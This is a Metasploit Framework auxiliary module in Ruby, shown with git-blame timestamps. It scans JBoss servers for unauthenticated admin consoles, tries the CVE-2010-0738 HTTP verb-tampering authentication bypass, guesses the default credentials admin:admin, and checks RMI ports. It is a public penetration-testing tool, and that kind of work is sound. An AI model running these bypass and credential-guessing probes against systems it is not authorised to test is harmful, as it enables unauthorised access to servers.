2010-06-21 16:49:44 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'rex/proto/http'
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'JBoss Vulnerability Scanner',
|
|
|
|
'Description' => %q{
|
2010-06-25 20:53:12 +00:00
|
|
|
This module scans a JBoss instance for a few vulnerablities.
|
2010-06-21 16:49:44 +00:00
|
|
|
},
|
2010-06-21 16:53:52 +00:00
|
|
|
'Version' => '$Revision$',
|
2010-06-21 16:49:44 +00:00
|
|
|
'Author' => [ 'Tyler Krpata' ],
|
2010-06-27 07:15:17 +00:00
|
|
|
'References' =>
|
2010-06-25 20:53:12 +00:00
|
|
|
[
|
|
|
|
[ 'CVE', '2010-0738' ] # VERB auth bypass
|
|
|
|
],
|
2010-06-21 16:49:44 +00:00
|
|
|
'License' => BSD_LICENSE
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('VERB', [ true, "Verb for auth bypass testing", "HEAD"]),
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def run_host(ip)
|
|
|
|
|
2010-06-25 20:53:12 +00:00
|
|
|
res = send_request_cgi(
|
|
|
|
{
|
|
|
|
'uri' => "/"+Rex::Text.rand_text_alpha(12),
|
|
|
|
'method' => 'GET',
|
|
|
|
'ctype' => 'text/plain',
|
|
|
|
|
2011-06-05 07:11:22 +00:00
|
|
|
}, 20)
|
|
|
|
|
|
|
|
if res
|
2010-06-21 16:49:44 +00:00
|
|
|
|
2011-06-05 07:11:22 +00:00
|
|
|
info = http_fingerprint({ :response => res })
|
|
|
|
print_status(info)
|
2010-06-21 16:49:44 +00:00
|
|
|
|
2011-06-05 07:11:22 +00:00
|
|
|
if(res.body and />(JBoss[^<]+)/.match(res.body) )
|
|
|
|
print_error("#{rhost}:#{rport} JBoss error message: #{$1}")
|
|
|
|
end
|
|
|
|
|
|
|
|
apps = [ '/jmx-console/HtmlAdaptor',
|
|
|
|
'/status',
|
|
|
|
'/web-console/ServerInfo.jsp',
|
|
|
|
# apps added per Patrick Hof
|
|
|
|
'/web-console/Invoker',
|
|
|
|
'/invoker/JMXInvokerServlet'
|
|
|
|
]
|
|
|
|
|
|
|
|
print_status("#{rhost}:#{rport} Checking http...")
|
|
|
|
apps.each do |app|
|
|
|
|
check_app(app)
|
|
|
|
end
|
|
|
|
|
|
|
|
ports = {
|
|
|
|
# 1098i, 1099, and 4444 needed to use twiddle
|
|
|
|
1098 => 'Naming Service',
|
|
|
|
1099 => 'Naming Service',
|
|
|
|
4444 => 'RMI invoker'
|
|
|
|
}
|
|
|
|
print_status("#{rhost}:#{rport} Checking services...")
|
|
|
|
ports.each do |port,service|
|
|
|
|
status = test_connection(ip,port) == :up ? "open" : "closed";
|
|
|
|
print_status("#{rhost}:#{rport} #{service} tcp/#{port}: #{status}")
|
|
|
|
end
|
2010-06-27 07:15:17 +00:00
|
|
|
end
|
2010-06-21 16:49:44 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def check_app(app)
|
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => app,
|
|
|
|
'method' => 'GET',
|
|
|
|
'ctype' => 'text/plain',
|
|
|
|
}, 20)
|
|
|
|
|
|
|
|
if (res)
|
|
|
|
case
|
|
|
|
when res.code == 200
|
2011-03-08 21:12:14 +00:00
|
|
|
print_good("#{rhost}:#{rport} #{app} does not require authentication (200)")
|
2010-06-21 16:49:44 +00:00
|
|
|
when res.code == 403
|
2011-03-08 21:12:14 +00:00
|
|
|
print_status("#{rhost}:#{rport} #{app} restricted (403)")
|
2010-06-21 16:49:44 +00:00
|
|
|
when res.code == 401
|
2011-03-08 21:12:14 +00:00
|
|
|
print_status("#{rhost}:#{rport} #{app} requires authentication (401): #{res.headers['WWW-Authenticate']}")
|
2010-06-21 16:49:44 +00:00
|
|
|
bypass_auth(app)
|
|
|
|
when res.code == 404
|
2011-03-08 21:12:14 +00:00
|
|
|
print_status("#{rhost}:#{rport} #{app} not found (404)")
|
2010-06-21 16:49:44 +00:00
|
|
|
when res.code == 301, res.code == 302
|
2011-03-08 21:12:14 +00:00
|
|
|
print_status("#{rhost}:#{rport} #{app} is redirected (#{res.code}) to #{res.headers['Location']} (not following)")
|
2010-06-21 16:49:44 +00:00
|
|
|
else
|
2011-03-08 21:12:14 +00:00
|
|
|
print_status("#{rhost}:#{rport} Don't know how to handle response code #{res.code}")
|
2010-06-21 16:49:44 +00:00
|
|
|
end
|
|
|
|
else
|
2011-03-08 21:12:14 +00:00
|
|
|
print_status("#{rhost}:#{rport} #{app} not found")
|
2010-06-21 16:49:44 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def bypass_auth(app)
|
|
|
|
|
2011-03-08 21:12:14 +00:00
|
|
|
print_status("#{rhost}:#{rport} Check for verb tampering (HEAD)")
|
2010-06-21 16:49:44 +00:00
|
|
|
|
|
|
|
res = send_request_raw({
|
|
|
|
'uri' => app,
|
|
|
|
'method' => datastore['VERB'],
|
|
|
|
'version' => '1.0' # 1.1 makes the head request wait on timeout for some reason
|
|
|
|
}, 20)
|
|
|
|
if (res and res.code == 200)
|
2011-03-08 21:12:14 +00:00
|
|
|
print_good("#{rhost}:#{rport} Got authentication bypass via HTTP verb tampering")
|
2010-06-21 16:49:44 +00:00
|
|
|
else
|
2011-03-08 21:12:14 +00:00
|
|
|
print_status("#{rhost}:#{rport} Could not get authentication bypass via HTTP verb tampering")
|
2010-06-21 16:49:44 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => app,
|
|
|
|
'method' => 'GET',
|
|
|
|
'ctype' => 'text/plain',
|
|
|
|
'basic_auth' => 'admin:admin'
|
|
|
|
}, 20)
|
|
|
|
if (res and res.code == 200)
|
2011-03-08 21:12:14 +00:00
|
|
|
print_good("#{rhost}:#{rport} Authenticated using admin:admin")
|
2010-06-21 16:49:44 +00:00
|
|
|
else
|
2011-03-08 21:12:14 +00:00
|
|
|
print_status("#{rhost}:#{rport} Could not guess admin credentials")
|
2010-06-21 16:49:44 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
|
2010-06-27 07:15:17 +00:00
|
|
|
# function stole'd from mssql_ping
|
|
|
|
def test_connection(ip,port)
|
|
|
|
begin
|
|
|
|
sock = Rex::Socket::Tcp.create(
|
|
|
|
'PeerHost' => ip,
|
|
|
|
'PeerPort' => port,
|
|
|
|
'Timeout' => 1
|
|
|
|
)
|
|
|
|
rescue Rex::ConnectionError
|
|
|
|
return :down
|
|
|
|
end
|
|
|
|
sock.close
|
|
|
|
return :up
|
|
|
|
end
|
|
|
|
|
2010-06-21 16:49:44 +00:00
|
|
|
end
|